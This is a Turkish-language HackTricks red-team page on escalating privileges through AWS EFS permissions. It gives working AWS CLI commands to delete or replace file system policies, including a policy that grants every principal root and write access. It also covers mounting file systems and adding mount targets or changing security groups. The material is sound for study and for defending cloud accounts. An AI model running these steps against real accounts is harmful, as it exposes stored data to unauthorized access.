AWS - EFS Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

EFS

EFS hakkında daha fazla bilgi:

AWS - EFS Enum

Bir EFS’i mount edebilmek için, EFS’in açık olduğu bir alt ağda olmanız ve ona erişiminiz (security groups) olması gerektiğini unutmayın. Bu şartlar sağlanıyorsa, varsayılan olarak her zaman mount edebilirsiniz; ancak EFS IAM policies ile korunuyorsa, erişim için burada bahsedilen ek izinlere sahip olmalısınız.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Bu izinlerden herhangi biriyle bir saldırgan, dosya sistemi politikasını değiştirerek size erişim verebilir, veya sadece politikayı silerek varsayılan erişimin verilmesini sağlayabilir.

Dosya sistemi politikasını silmek için:

aws efs delete-file-system-policy \
--file-system-id <value>

Bunu değiştirmek için:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Bu izinle bir saldırgan mount the EFS yapabilecektir. Eğer yazma izni, EFS’i mount edebilen herkese varsayılan olarak verilmemişse, saldırganın yalnızca okuma erişimi olur.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Ek izinler elasticfilesystem:ClientRootAccess ve elasticfilesystem:ClientWrite, dosya sistemi mount edildikten sonra içine yazmak ve o dosya sistemine root olarak erişmek için kullanılabilir.

Olası Etki: Dosya sisteminde hassas bilgileri bularak dolaylı privesc.

elasticfilesystem:CreateMountTarget

Eğer bir saldırgan, EFS için herhangi bir mount target’ın olmadığı bir subnetwork içindeyse, bu izinle kendi subnet’ine bir tane oluşturabilir:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potansiyel Etki: Dosya sisteminde hassas bilgileri bularak dolaylı privesc.

elasticfilesystem:ModifyMountTargetSecurityGroups

Bir senaryoda, saldırgan EFS’in kendi alt ağında bir mount target olduğunu ancak hiçbir security group trafiğe izin vermiyor olduğunu fark ederse, bunu sadece seçili security group’ları değiştirerek yapabilir:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potansiyel Etki: Dosya sisteminde hassas bilgileri bularak dolaylı privesc.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin